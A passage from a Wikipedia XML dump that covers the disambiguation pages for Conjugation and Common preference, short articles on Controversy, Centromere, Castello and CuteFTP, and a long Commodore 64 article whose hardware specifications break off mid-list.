**In many [[language|languages]], such as [[latin language|Latin]] and [[spanish language|Spanish]], verbs have complex conjugation rules; in other languages, such as [[english language|English]], verb conjugation is much simpler.  See: [[Latin conjugation]], [[Spanish conjugation]] and [[English verb|The English verb]].
*In [[biology]], conjugation is transmission of [[DNA]] between [[cell (biology)|cells]] by contact other than fusion.  Various forms of conjugation exist in different groups, such as [[bacterium|bacteria]] (see [[bacterial conjugation]]) and [[ciliate]]s.  The term is derived from the use of the word for [[marriage]].
*[[Marriage]] -- derived from &quot;joining together&quot; or &quot;playing together&quot;.
*In [[mathematics]]:
**[[complex conjugation]] is the operation which multiplies the imaginary part of a [[complex number]] by -1; more generally see [[conjugate element (field theory)]].
** if ''a'' is an element of a [[group (mathematics)|group]], then the [[map (mathematics)|map]] ''f''(''x'') = ''axa''&lt;sup&gt;-1&lt;/sup&gt; is called conjugation by ''a''. See [[inner automorphism]], [[conjugacy class]], [[conjugate closure]], and [[conjugation of isometries in Euclidean space]]
** in [[differential geometry]], [[Glossary of Riemannian and metric geometry|Conjugate point]]s
** an operation on [[Latin square]]s
** in [[probability theory]],  [[conjugate prior]]
*In [[quantum physics]], two quantities are ''conjugates'' when they are linked by the [[Heisenberg uncertainty principle]], such as position and [[momentum]], or [[energy]] and duration.
*In [[organic chemistry]], conjugation is the interaction between two carbon-carbon double bonds, increasing stability and thereby lowering the overall energy of the molecule. The system formed is called a [[conjugated system]].
*In [[metabolism]], conjugation is a [[biochemistry|biochemical]] process to bind a substance to an acid and thereby deactivating its biological activity, making it water-soluble, and facilitating its excretion. Thus [[steroid hormones]] can be excreted as sulfo or glucuro conjugates.
* in [[thermodynamics]], it may refer to [[Conjugate variables (thermodynamics)|Conjugate variables]]
  
:''To be merged:''

'''Conjugate''' can be:
* in [[quantum physics]], two quantities are conjugates when they are linked by the [[Heisenberg uncertainty principle]], such as position and [[momentum]], or [[energy]] and duration
* in [[chemistry]], [[Conjugate acid]] or conjugate base
* in [[linguistics]], [[grammatical conjugation]]
* in [[biology]], '''conjugation''' is [[sexual reproduction]] involving interchange of [[DNA]] between [[cell (biology)|cells]], rather than their fusion.  Various forms of conjugation exist in different groups, such as [[bacterium|bacteria]] (see [[bacterial conjugation]]) and [[ciliate]]s.  The term is usually applied only to microscopic life-forms.

{{disambig}}

[[ca:Conjugació]]
[[de:Konjugation]]
[[es:Conjugación]]
[[ja:&amp;#20849;&amp;#36571;]]
[[pl:Koniugacja]]
[[pt:Conjugação]]
[[sv:Konjugation]]</text>
    </revision>
  </page>
  <page>
    <title>Christians</title>
    <id>7282</id>
    <revision>
      <id>15905357</id>
      <timestamp>2004-12-29T17:15:05Z</timestamp>
      <contributor>
        <username>Netoholic</username>
        <id>41995</id>
      </contributor>
      <minor />
      <comment>rvt</comment>
      <text xml:space="preserve">#REDIRECT [[Christian]] {{r from plural}}</text>
    </revision>
  </page>
  <page>
    <title>Controversy</title>
    <id>7283</id>
    <revision>
      <id>40906903</id>
      <timestamp>2006-02-23T20:34:37Z</timestamp>
      <contributor>
        <ip>69.159.165.218</ip>
      </contributor>
      <comment>removed what appeared to be vandalism in the opening line</comment>
      <text xml:space="preserve">{{Wiktionary}}
{{otheruses}}
A '''controversy''' is an [[opinion]] or opinions over which parties are actively arguing. Controversies can range from private disputes between two to large scale disagreements.

Present-day areas of controversy include [[religion]], [[politics]], [[war]], [[property]], [[social class]], [[tax|taxes]], and most recently in [[sports]]. Controversy in matters of  [[theology]] has traditionally been particularly heated, giving rise to ''[[odium theologicum]]''.

==In law==
In [[jurisprudence]], a controversy differs from a [[jurisprudence|case]]. While the latter includes all suits, [[criminal]] as well as [[Civil law (private law)|civil]], a conterversy is a purely civil proceeding.  For example, the [[Constitution of the United States]] states that &quot;the judicial Power shall extend to ... Controversies to which the United States shall be a Party&quot; ([[Article Three of the United States Constitution|Article 3, Section 2]]). The meaning to be attached to the word ''Controversy'' in the constitution is that given above.

==In propaganda==
The term is not always used in a purely descriptive way. The use of the word tends itself to create controversy where none may have authentically existed, acting as a [[self-fulfilling prophecy]]. [[Propaganda|Propagandists]], therefore, may employ it as a &quot;tar-brush,&quot;  [[pejorative]]ly, and thus create a perceived atmosphere of controversy, discrediting the subject:

::&quot;Beatrix Potter's creation, Peter Rabbit...&quot;
::vs.
::&quot;Beatrix Potter's controversial creation, Peter Rabbit...&quot;

Thus ''controversy'' may itself be judged controversial.

==In advertising==
On the other hand, ''controversy'' is also used in [[advertising]] to try to draw attention to a product or idea by labeling it as controversial, even if the idea has become widely accepted to a given segment of the population.  This strategy has been known to be especially successful in promoting [[books]] and [[film]]s.

==In early Christianity==
Many of the early [[Christianity|Christian]] writers, among them [[Irenaeus]], [[Athanasius]], and [[Jerome]], were famed as &quot;controversialists&quot;; they wrote works against perceived [[heresy]] or heretical individuals, works whose titles begin &quot;Adversus...&quot; such as Irenaeus' ''Adversus haeresis.'' The Christian writers inherited from the classical [[rhetor]]s the conviction that controversial confrontations, even over trivial matters, were a demonstration of intellectual superiority.

==See also==
{{selfref|In Wikipedia, see [[Wikipedia:List of controversial issues]] and [[Wikipedia:Guidelines for controversial articles]].}}
* [[Benford's law of controversy]]
* [[Succès de scandale]]
* [[Amount in controversy]]
* [[Case or controversy]]
* [[:Category:Controversies]]
* [[Media controversy]]
* [[Video game controversy]]
* [[Controversies in autism]], [[Controversies about functioning labels in the autism spectrum]]
* [[Contesting controversies]]
* [[Nobel Prize controversies]]
* [[BBC controversies]]

==External link==
* [http://www.freeglossary.com/Controversial_book Non-fiction books] Categorized bibliography of controversial issues and topics.  

[[Category:Interpersonal relationships]]
[[Category:Legal terms]]

[[de:Kontroverse]]
[[et:Vaidlus]]
[[simple:Dispute]]</text>
    </revision>
  </page>
  <page>
    <title>Centromere</title>
    <id>7284</id>
    <revision>
      <id>40193257</id>
      <timestamp>2006-02-18T21:42:56Z</timestamp>
      <contributor>
        <username>Eras-mus</username>
        <id>180998</id>
      </contributor>
      <text xml:space="preserve">The '''centromere''' functions in sister chromatid adhesion, kinteochore formation, pairing of homologous chromosomes and is involved in the control of gene expression. Aberrant centromeric function can lead to improper chromosomal alignment and segregation, resulting in aneuploidy and conditions such as Down syndrome.

In most eukaryotes, the centromere has no defined [[DNA sequence]].  It typically consists of large arrays of repetitive DNA (eg, satellite DNA) where the sequence within individual repeat elements is similar but not identical.  In humans, the primary centromeric repeat unit is called an &amp;alpha;-satellite, although a number of other sequence types are found in this region.  However, repeats of &amp;alpha;-satellite are not sufficient to cause the assembly of a kinetochore, and there are functioning centromeres with no &amp;alpha;-satellite DNA.

[[Epigenetic inheritance]] plays a major role in specifying the centromere in most organisms.  The daughter chromosomes will assemble centromeres in the same place as the parent chromosome, independent of sequence.  However, there must still be some original way in which the centromere is specified, even if it is subsequently propagated epigenetically.  In rare cases in humans, neocentromeres can form at new sites on the chromosome.  This must be coupled with the inactivation of the previous centromere since chromosomes with two functional centromeres (dicentric chromosomes) will result in chromosome breakage during mitosis.

The centromeric DNA is normally in a [[heterochromatic|heterochromatin]] state, which is probably essential for its function.  In this chromatin, the normal [[histone]] H3 is replaced with CENP-A, a centromere-specific variant (in S. cerevisiae, but similar specialized nucleosomes seem to be present in all eucaryotic cells).  The presence of CENP-A is believed to be important for the assembly of the kinetochore on the centromere and may play a role in the epigenetic inheritance of the centromere site.

In the yeast ''[[Schizosaccharomyces pombe]]'' (and probably in other eukaryotes), the formation of centromeric heterochromatin is connected to [[RNAi]]&lt;sup&gt;*&lt;/sup&gt;.  In nematodes such as ''[[Caenorhabditis elegans]]'' and in some plants, chromosomes are &quot;holocentric&quot;, indicating that there is not a primary site of microtubule attachments or a primary constriction, and a &quot;diffuse&quot; kinetochore assembles along the entire length of the chromosome.

In some unusual cases new human centromeres, '''neocentromeres''', have been observed to form spontaneously on fragmented chromosomes. Some of these new positions were originally euchromatic and lack alpha satellite DNA altogether.

==Related links==
*[[Genetics]]
*[[Cell biology]]

== External links ==
*[http://www.sciencedaily.com/releases/2004/01/040111212949.htm Report about ''Nature Genetics'' article that centromere of rice genome carries active genes]
*&lt;sup&gt;*&lt;/sup&gt; [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=12193640 ''Science''. 2002 Sep 13;297(5588):1818-9.]

[[Category:Chromosomes]]

[[de:Centromer]]
[[es:Centrómero]]
[[fr:Centromère]]
[[hu:Centromer]]
[[nl:Centromeer]]
[[pl:Centromer]]
[[pt:Centrómero]]
[[sr:центромера]]
[[zh:着丝粒]]</text>
    </revision>
  </page>
  <page>
    <title>Castello</title>
    <id>7287</id>
    <revision>
      <id>36946130</id>
      <timestamp>2006-01-27T14:35:06Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>see also</comment>
      <text xml:space="preserve">:''For other uses, see [[Castello (disambiguation)]].''

'''Castello''' is the largest of the six [[sestiere (Venice)|sestieri]] of [[Venice]].  The district grew up from the [[thirteenth century]] around a [[navy|naval]] [[dockyard]] on what was originally the [[Isole Gemini]], although there had been small settlements of the islands of [[San Pietro di Castello]] (for which the sestiere is named) and [[Isola d'Olivolo]] since at least the [[eighth century]].

The district became divided between the [[Arsenale]], then the largest naval complex in Europe, and the [[monastery|monasteries]] in the north of the quarter.  It was later altered by [[Napoleon]], who planned what are now the [[Bienniale Gardens]], and still more recently the island of [[Sant'Elena]] has been created, and land drained at other extremities of the quarter.

Other attractions in Castello include the [[Scuola di San Marco]], the [[Church of Santi Giovanni e Paolo]], the [[Scuola San Giorgio degli Schiavoni]], the [[Church of San Girogi dei Greci]], the [[Campo Santa Maria Formosa]], the [[Church of La Pieta]] and the [[Church of San Zaccaria]].

[[Category:Venice]]</text>
    </revision>
  </page>
  <page>
    <title>Common preference</title>
    <id>7288</id>
    <revision>
      <id>34383782</id>
      <timestamp>2006-01-08T17:36:01Z</timestamp>
      <contributor>
        <username>Georgia guy</username>
        <id>161456</id>
      </contributor>
      <comment>Add Wiktionary template; please do not revert because this edit's function is to update an ancient page</comment>
      <text xml:space="preserve">'''Common preference''' is a term used to describe an ''everyone wins'' situation in a number of places:

{{wiktionary}}

*[[Non-zero-sum]]
*[[Taking Children Seriously]]
*[[Win-win situation]]

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>CuteFTP</title>
    <id>7291</id>
    <revision>
      <id>37134973</id>
      <timestamp>2006-01-28T23:00:16Z</timestamp>
      <contributor>
        <username>Delpino</username>
        <id>33403</id>
      </contributor>
      <minor />
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Infobox_Software |
| name = CuteFTP
| caption = CuteFTP 7
| developer = GlobalSCAPE
| latest_release_version = 7.1 &lt;!-- If you update this, don't forget to update [[Comparison of FTP clients]]--&gt;
| latest_release_date = [[June 8]], [[2005]]
| operating_system = [[Microsoft Windows|Windows]]
| genre = [[FTP client]]
| license = Proprietary
| website = [http://www.globalscape.com/ globalscape.com]
}}

'''CuteFTP''' is a file transfer application (an [[FTP client]]) developed by [[GlobalSCAPE]] sporting a simple [[Microsoft Windows|Windows]]-based [[graphical user interface|interface]]. Since 1999, CuteFTP Pro (now called CuteFTP Professional) has also been available, which supports more security-based features (such as [[SSH]]).

== External links ==
* [http://www.globalscape.com/products/ftp_clients.asp CuteFTP Website]
* [http://www.globalscape.com/ GlobalSCAPE Website]

{{compu-soft-stub}}

[[Category:FTP clients]]

[[zh:CuteFTP]]</text>
    </revision>
  </page>
  <page>
    <title>Carsons rule</title>
    <id>7292</id>
    <revision>
      <id>15905367</id>
      <timestamp>2003-10-30T13:56:30Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <minor />
      <comment>another one...</comment>
      <text xml:space="preserve">#REDIRECT [[Carson bandwidth rule]]</text>
    </revision>
  </page>
  <page>
    <title>Commodore 64</title>
    <id>7293</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41911500</id>
      <timestamp>2006-03-02T15:46:10Z</timestamp>
      <contributor>
        <ip>200.114.133.23</ip>
      </contributor>
      <comment>Improvement in style</comment>
      <text xml:space="preserve">{{featured article}}
:''For the hip hop group, see [[Commodore 64 (band)]].''
{{Infobox Computer
|name = Commodore 64
|developer = [[Commodore International|Commodore Business Machines (CBM)]]
|type = [[Home computer]]
|photo = [[Image:Commodore64.jpg|250px]]
|caption = Commodore 64 (circa 1982)
|first_release_date = January, 1983
|processor = 1.023 [[Hertz|MHz]] [[MOS Technology 6510]] [[Central processing unit|processor]]
|website = [http://www.c64.org]
}}
The '''Commodore 64''' ('''C64''', '''CBM 64'''/'''CBM64''', '''C= 64'''), also sometimes nicknamed &quot;the breadbin&quot; due to its shape, is a [[home computer]] with 64&amp;nbsp;[[kilobyte]]s of [[RAM]] that was popular in the 1980s. Released by [[Commodore International|Commodore Business Machines (CBM)]] to the public in August 1982 at a price of [[United States dollar|US$]] 595, it offered sound and graphics performance that compared favorably with the standard at that time. During the Commodore 64's lifetime (between 1982 and 1993), total sales exceeded 22 million units. According to the Guinness Book of World Records, the Commodore 64 still remains the best selling computer model of all time.

Unlike computers that were distributed only through authorized dealers, Commodore also targeted department stores and toy stores. The unit could be plugged directly into a television set and play games, giving it much of the appeal of dedicated [[video game console]]s like the [[Atari 2600]]. The pricing of the C64 is considered to be a major catalyst in the [[video game crash of 1983]].

Approximately 10,000 [[software]] titles were made for the Commodore 64—this includes development tools, office applications, and games. The machine is also credited with popularizing the computer [[demoscene|demo scene]]. Though the original hardware is now used only by a few hobbyists, [[emulator]]s allow anyone with a modern computer to run these programs on their desktop (with varying degrees of success and functionality).

==History==
===Origins===
[[Image:C64 artistic closeup.jpg|left|thumb|180px|Close-up of C64]]
In January 1981, [[MOS Technology|MOS Technology, Inc.]], Commodore's [[Integrated circuit|integrated-circuit]] design subsidiary, initiated a project to design the graphic and audio chips for a next generation [[video game console]]. Design work for the chips was completed in November 1981, but the console project was soon cancelled after a meeting with Commodore president [[Jack Tramiel]]. Tramiel wanted the chips to form the base for a sequel to the very popular [[VIC-20]]. He proposed that the new system ship with with 64 [[Kilobyte|kB]] of [[RAM]], which was double the quantity that most [[home computer]]s contained in late 1981. Although 64 kB of RAM cost over US$ 100 at the time, Tramiel knew that [[DRAM]] prices were falling, and would drop to an acceptable level before full production was reached.

The design team was given less than two months to develop a working prototype — [[codename]]d the '''VIC-30''' — so that it could be finished in time for the winter [[Consumer Electronics Show]] in January 1982. The C64 made an impressive debut, as recalled by Production Engineer David A. Ziembicki: &quot;All we saw at our booth were Atari people with their mouths dropping open, saying, 'How can you do that for $595?'&quot; The answer, as it turned out, was [[vertical integration]]; thanks to Commodore's ownership of [[MOS Technology]]'s [[semiconductor fabrication]] facilities, each C64 had an estimated production cost of only $135.

===Winning the market war===
The C64 faced a wide range of competing [[home computer]]s at its introduction in August 1982. With an impressive price point coupled with the 64's advanced hardware, it quickly out-classed many of its competitors. In the [[United States]] the greatest competitors to the C64 were the [[Atari 8-bit|Atari 800]] and [[Apple II]]. The [[Atari]] 800 was very similar in hardware terms, but it was very expensive to build, which soon forced Atari to move their production to the Far East. It also forced Atari to redesign their machine to be more cost effective, resulting in the 600XL/800XL line. The aging Apple II was no match for the C64's graphics and sound abilities, but was very expandable with its internal expansion slots, a feature lacking in the 64.

In the [[United Kingdom]], the primary competitors to the C64 were the British-built [[Sinclair Research Ltd|Sinclair]] [[ZX Spectrum]] and the [[Amstrad]] [[Amstrad CPC|CPC]]. Released a few months ahead of the C64, and selling for almost half the price, the Spectrum quickly became the market leader. The C64 would rival the Spectrum in popularity in the latter half of the 1980s, eventually outliving the Spectrum (which was discontinued in 1992).

One key to the C64's success was Commodore's aggressive marketing tactics. Commodore sold the C64 not only through its network of authorized dealers, but also placed it on the shelves of department stores, discount stores, and toy stores. Since it had the ability to output [[composite video]], the C64 did not require a specialized monitor, but could be plugged into a television set. This allowed it (like its predecessor, the VIC-20) to compete directly against video game consoles such as the [[Atari 2600]].

Aggressive pricing of the C64 is considered to be a major catalyst in the [[video game crash of 1983]]. In 1983, Commodore offered a $100 [[Rebate (marketing)|rebate]] in the United States on the purchase of a C64 upon receipt of any video game console or computer. To take advantage of the $100 rebate, some mail-order dealers and retailers offered a [[Timex Sinclair 1000]] for as little as $10 with purchase of a C64 so the consumer could send the computer to Commodore, collect the rebate, and pocket the difference.{{ref|doorstop}} [[Timex Corporation]] departed the marketplace within a year. The success of the VIC-20 and C64 also contributed significantly to the exit of [[Texas Instruments]]' [[Texas Instruments TI-99/4A|TI-99/4A]] and other competitors from the field.

===C64 successors and the 64C===
[[Image:Sx64.jpg|thumb|left|250px|Commodore SX-64 (1984)]]
In 1984 Commodore released the [[Commodore SX-64|SX-64]], a portable version of the C64. The SX-64 has the distinction of being the first ''full-color'' portable computer. The base unit featured a 5 inch (127 mm) [[Cathode ray tube|CRT]] and an integral [[Commodore 1541|1541]] floppy disk drive. Although critically acclaimed, due to its significantly higher price over the standard C64, fewer than 10,000 had been sold by the time it was discontinued in 1986.

In 1984, Commodore released the [[Commodore Plus/4]]. While many industry critics viewed this as an attempt to replace the C64, it was in fact a replacement for the [[VIC-20]]. The Plus/4 offered a higher-color display, a better implementation of [[Commodore BASIC|BASIC]] (V3.5), and built-in software. But because it was a replacement for the VIC-20 and not the C64, Commodore committed what was perceived by critics and consumers as a major strategic error by making it incompatible with a majority of the existing C64 software library. To top it all off, the Plus/4 lacked hardware [[sprite (computer graphics)|sprite]] capability and had much poorer sound - even inferior to that of the VIC-20 - thus seriously underperforming in two of the areas that had made the C64 a star. Furthermore, none of the C64's external peripherals save for the monitor and most joysticks were compatible with the port connections on the Plus/4, and the promised floppy drives were not available for the first three months the Plus/4 was in the stores. The misconceived and misperceived new machine flopped, to no one's surprise except Commodore's, while demand for the C64 merely increased as old store stock was being liquidated to make room for the supposedly superior replacements.

On a side note, the Plus/4 was later dumped on TV audiences the next year via phone sales and two-minute &quot;infomercials&quot;. Commodore created a dummy company called the [[C.O.M.B. Company]]. While the acronym reportedly stood for &quot;Commodore Overstock Management Bureau&quot;, it was more commonly referred to as an acronym for &quot;Crawling Out My Butt&quot;, referring to the sheer numbers of Plus/4s that were stuck in warehouses across the country that were eventually returned to Commodore.

Commodore was determined not to repeat the same mistake, and made sure that the eventual successors to the C64—the [[Commodore 128]] and 128D computers (1985)—were as good as, and fully compatible with, the original, as well as offering a host of long-sought improvements (such as a structured BASIC with graphics and sound commands, 80-column display capability, and full CP/M compatibility). The basic design of the 128, in fact, had already been marketed successfully in the Northern European and Scandinavian countries as early as 1983 as the [[Commodore B-128]]. As the Commodore 128 and other manufacturers' more advanced computers came onto the market, Commodore positioned the 64 as an entry-level computer, lowering the price as necessary.

[[Image:C64c_system.jpg|thumb|right|350px|Commodore 64C system with 1541-II floppy drive and 1084S RGB monitor (1986)]]
In 1986, Commodore released the '''Commodore 64C''' ('''C64C''') computer, which was functionally identical to the original, but whose exterior design was remodelled in the spirit of the C128 and other contemporary design trends. In the [[U.S.]], the C64C often came bundled with the third-party [[GEOS (8-bit operating system)|GEOS]] [[graphical user interface|GUI]]-based operating system.

===An active demoscene===
At the time of its introduction, the C64's graphics and sound capabilities were rivaled only by the [[Atari 8-bit family]].  This was at a time when most IBM PCs and compatibles had text-only graphics cards, [[green screen]] monitors, and sound consisting of squeaks and beeps from the built-in tiny, low-quality [[loudspeaker|speaker]].

Due to its advanced graphics and sound, the 64 is often credited with starting the computer subculture known as the [[demoscene]] (see [[Commodore 64 demos]]). As of the turn of the millennium, it is still being actively used as a demo machine, especially for music (its [[sound chip]] even being used in special sound cards for PCs). For all other than die-hard enthusiasts, however, the C64 lost its top position among demo coders when the [[16-bit]] [[Atari ST]] and [[Commodore Amiga]] were released in the mid-80s.

The demoscene is far from being dead even more than 20 years after the C64 was invented. New games are still being developed. A noteworthy one is ''[http://www.newcomer.hu Enhanced Newcomer]'', which took almost 10 years of development.

The differences between [[PAL]] and [[NTSC]] C64s cause compatibility problems between US/Canadian C64s and those from most other countries. Most demos run only on PAL machines.

===1990s and 2000s hardware===
In 1990 the C64 was re-released in the form of a games console, called the [[Commodore C64 Games System|C64 Games System]] ('''C64GS'''). It was basically a C64 motherboard modified to orient the cartridge connector to a vertical position, to allow cartridges to be inserted from above. A modified ROM replaced the BASIC interpreter with a boot screen to inform the user to insert a cartridge. Needless to say, the C64GS was another commercial failure for Commodore, and was never even released outside of Europe. In 1990/91, an advanced intended successor to the C64, the [[Commodore 65]] (also known as the &quot;C64DX&quot;), was prototyped, but never released.

In the summer of 2004, after an absence from the marketplace of more than 10 years, PC manufacturer [[Tulip Computers BV]] (owners of the Commodore brand since 1997) announced the [[C64 Direct-to-TV]] '''(C64DTV)''', a [[joystick]]-based [[TV game]] based on the C64 with 30 games built into ROM. Designed by [[Jeri Ellsworth]], a self-taught computer designer who had earlier designed the modern [[C-One]] C64 implementation, the C64DTV was similar in concept to other mini-consoles based on the [[Atari 2600]] and [[Intellivision]] which had gained modest success earlier in the decade. The product was advertised on [[QVC]] in the United States for the 2004 holiday season. Some users have installed [[Commodore 1541|1541]] floppy disk drives, hard drives, second joysticks and keyboards to these units, which give the DTV devices nearly all of the capabilities of a full Commodore 64. The DTV hardware is also used in the mini-console/game ''[[Hummer (video game)|Hummer]]'', sold at [[Radio Shack]] mid-2005.

[[As of 2005]], C64 enthusiasts still develop new hardware, including [[Ethernet]] cards, specially adapted [[hard disk]]s and [[Flash memory|Flash]] Card interfaces.

==Hardware==
===Graphics and sound===
The C64 used an [[8-bit]] [[MOS Technology 6510]] [[microprocessor]] (a close derivative of the [[MOS Technology 6502|6502]] with an added 6-bit internal I/O port that in the C64 is used for two purposes: to bank-switch the machine's [[Read-only memory|ROM]] in and out of the processor's address space, and to operate the [[datasette]] tape recorder) and had 64 [[kilobyte]]s of [[random access memory|RAM]], of which 38 kB were available to built-in [[Commodore BASIC|Commodore BASIC 2.0]].

The graphics chip, [[MOS Technology VIC-II|VIC-II]], featured 16 colors, eight [[sprite (computer graphics)|sprites]], [[scrolling]] capabilities, and two bitmap graphics modes. The standard text mode featured 40 columns, like most [[Commodore PET]] models. [[Computer game|Computer]]/[[Computer and video games|video game]] and [[demoscene|demo]] programmers quickly learned how to exploit quirks in the VIC-II to gain additional capabilities, like making more than 8 sprites appear, and move, simultaneously.

The sound chip, [[MOS Technology SID|SID]], had three channels with several different [[waveform]]s, [[ring modulation]] and filter capabilities. It, too, was very advanced for its time. It was designed by Bob Yannes, who would later co-found synthesizer company [[Ensoniq]]. Yannes criticized other contemporary computer sound chips as &quot;primitive, obviously (...) designed by people who knew nothing about music.&quot; Often the game music became a hit of its own among C64 users. Well-known composers and programmers of game music on the C64 were [[Rob Hubbard]], [[Ben Daglish]] and [[Martin Galway]], among many others.

The SID chip has a distinctive sound which retained a following of devotees. In 1999, Swedish company [[Elektron (company)|Elektron]] produced a [[SidStation]] synth module, built around the SID chip, using remaining stocks of the chip. Several bands use these devices in their music.

===Hardware revisions===
Cost reduction was the driving force for hardware revisions to the C64's motherboard. Reducing manufacturing costs was vitally important to Commodore's survival during the price war and leaner years of the 16-bit era. The C64's original ([[NMOS]] based) motherboard would go through two major redesigns, (and numerous sub-revisions) exchanging positions of the VIC-II, SID and [[programmable logic array|PLA]] chips. Initially, a large proportion of the cost was lowered by reducing the number of discrete components used, such as diodes and resistors.

[[Image:C64motherboard.jpg|thumb|right|350px|An early C64 motherboard. (Rev A [[PAL]] 1982)]]
[[Image:C64Cmotherboard.jpg|thumb|right|350px|A C64C motherboard (&quot;C64E&quot; Rev B PAL 1992)]]

The VIC-II was manufactured with 5 [[micrometer]] [[NMOS]] technology, clocked at 8&amp;nbsp;MHz. At such a high clock rate, it generated a lot of heat, forcing MOS Technology to use a ceramic [[Dual in-line package|DIL package]] (called a &quot;CERDIP&quot;). The ceramic package was more expensive, but it dissipated heat more effectively than plastic.

After a redesign in 1983, the VIC-II was encased in a plastic DIL package, which reduced costs substantially, but it did not eliminate the heat problem. Without a ceramic package, the VIC-II required the use of a [[heatsink]]. To avoid extra cost, the metal [[radio frequency|RF]] [[electromagnetic shielding|shielding]] doubled as the heatsink for the VIC, although not all units shipped with this type of shielding. Most C64s in [[Europe]] shipped with a cardboard RF shield, coated with a layer of metal foil. The effectiveness of the cardboard was highly questionable, and worse still it acted as an insulator, blocking airflow which trapped heat generated by the SID, VIC and PLA chips.

The SID was manufactured using NMOS at 7 and in some areas 6 micrometers. The prototype SID and some very early production models featured a ceramic DIL package, but unlike the VIC-II, these are extremely rare as the SID was encased in plastic when production started in early 1982.

In 1986 Commodore released the last revision to the &quot;classic&quot; C64 motherboard. It was otherwise identical to the 1984 design, except that it now used two 64 kbit &amp;times;4 [[DRAM]] chips rather than the original eight 64 kbit &amp;times;1.

After the release of the C64C, MOS Technology began to reconfigure the C64's chipset to use [[HMOS]] technology. The main benefit of using HMOS was that it required less voltage to drive the IC, which consequently generates less heat. This enhanced the overall reliability of the SID and VIC-II. The new chipset was re-numbered to 85xx in order to reflect the change to HMOS.

In 1987 Commodore released C64Cs with a totally redesigned motherboard commonly known as a &quot;short board&quot;. The new board used the new HMOS chipset, featuring new 64-pin PLA chip. The new &quot;SuperPLA&quot; as it was dubbed, integrated many discrete components and [[transistor-transistor logic|TTL]] chips. The 2114 color RAM was integrated into the last revision of the PLA.

===Power problems===
The C64 used an external [[power supply]]. While this saved valuable space within the computer's case, the supply itself was barely adequate for the C64's power requirements and occasionally failed from overheating. Some users purchased heavier-duty, better-cooled, third-party power supplies. Later in the Commodore's lifetime, third-party power supplies became increasingly important when used in conjuction with [[Creative Micro Designs]]' peripherals. Of particular note, a C64 coupled with a RAM expansion or CMD [[SuperCPU]] required more power than the original Commodore power supply could provide.

==External hardware==
:''Main article: [[Commodore 64 peripherals]]''

==Software==
:''Main article: [[Commodore 64 software]]''

==Representative screenshots==
&lt;center&gt;
&lt;gallery&gt;
Image:C64_Multiplan.png|[[Multiplan]]&lt;br/&gt;[[Microsoft]] (1983)
Image:C64_Koala_Painter.png|[[KoalaPad/Painter | Koala Paint]]&lt;br/&gt;Koala/Audio Light (1983)
Image:C64_GEOS.png|[[GEOS (8-bit operating system)|GEOS]] (desktop)&lt;br/&gt;Berkeley Softworks (1986)
Image:C64_Geowrite.png|geoWrite&lt;br/&gt;Berkeley Softworks (1987)
Image:C64_Donkey_Kong.png|''[[Donkey Kong (arcade game)|Donkey Kong]]''&lt;br/&gt;[[Atarisoft]] (1983)
Image:C64_Winter_Games.png|''[[Winter Games]]''&lt;br/&gt;[[Epyx]] (1985)
Image:C64_IKPlus.png|''[[International Karate Plus|International Karate+]]''&lt;br/&gt;[[System 3 (company)|System 3]] (1987)
Image:C64_Creatures_II.png|''[[Creatures II]]''&lt;br/&gt;Thalamus/Apex (1993)
&lt;/gallery&gt;
Additional screenshots can be found on the [[Commodore 64 software]] page.
&lt;/center&gt;

==Specifications==
===Internal hardware===
*Microprocessor CPU:
** [[MOS Technology 6510|MOS Technology 6510/8500]] (the 6510/8500 being a modified [[MOS Technology 6502|6502]] with an integrated 6-bit I/O port)
** Clock speed: 1.023 MHz ([[NTSC]]) or 0.985 MHz ([[PAL]])
*Video: [[MOS Technology VIC-II]] 6567/8567 (NTSC), 6569/8569 (PAL)
**16 colors&lt;!--to be listed--&gt;
**Text mode: 40&amp;times;25 characters; 256 user-defined chars (8×8 [[pixel]]s, or 4×8 in multicolor mode); 4-bit color RAM defines foreground color
**Bitmap modes: 320&amp;times;200 (2 colors in each 8×8 block), 160&amp;times;200 (3 colors plus background in each 4×8 block)
**8 hardware [[sprite (computer graphics)|sprite]]s of 24×21 pixels (12×21 in multicolor mode)
**Smooth [[scrolling]], [[raster]] [[interrupt]]s
*Sound: [[MOS Technology SID|MOS Technology 6581/8580 SID]]
**3-channel [[synthesizer]] with programmable [[synthesizer#sound basics|ADSR]] envelope
**8 [[octave]]s
**4 waveforms: triangle, sawtooth, variable pulse, noise
**Oscillator synchronization, [[ring modulation]]
**Programmable filter: [[high-pass filter|high pass]], [[low-pass filter|low pass]], [[band-pass filter|band pass]], [[notch filter]]
*RAM: 
** 64 [[kilobyte|kB]] (65,536 bytes), of which 38 kB minus 1 byte (38911 bytes) were available for BASIC programs
** 0.5 kB color RAM (1 k [[nybble]]s)
** Expandable to 320 kB with [[Commodore REU|Commodore 1764]] 256 kB RAM Expansion Unit (REU); although only 64 kB directly accessible; REU mostly intended for [[GEOS (8-bit operating system)|GEOS]]. REUs of 128 kB and 512 kB, originally designed for the C128, were also available, but required the user to buy a stronger power supply from some third party supplier; with the 1764 this was included.
*ROM: 
** 20 kB (9 kB [[Commodore BASIC|BASIC 2.0]]; 7 kB [[KERNAL]]&lt;!-- the BASIC continues into the upper ROM chip--&gt;; 4 k character generator, providing two 2 k character sets)

===I/O ports and power supply===
*I/O ports:
** 8-pin [[DIN plug]] containing composite video output, separate Y/C outputs, and sound input/output. (Some early C64 units utilized a 5-pin DIN connector that omitted the Y/C output.)
** Integrated [[RF modulator]] antenna output via a [[RCA]] connector
** 2 &amp;times; screwless [[D-subminiature|DE9M]] [[game controller]] ports (compatible with Atari 2600 controllers), each supporting five digital inputs and two analog inputs. Available peripherals included digital [[joystick]]s, analog [[paddle (game controller)|paddle]]s, a [[light pen]], the Commodore 1351 [[computer mouse|mouse]], and the unique [[KoalaPad]].
** [[Cartridge (electronics)|Cartridge]] expansion slot (slot for [[edge connector]] with 6510 CPU address/data bus lines and control signals, as well as GND and voltage pins; used for program modules and memory expansions, among others)
** [[Commodore PET|PET]]-type [[Datassette]] 300 [[baud]] tape interface (edge connector with cassette motor/read/write/sense signals and GND and +5 V pins; the motor pin is powered to directly supply the motor)
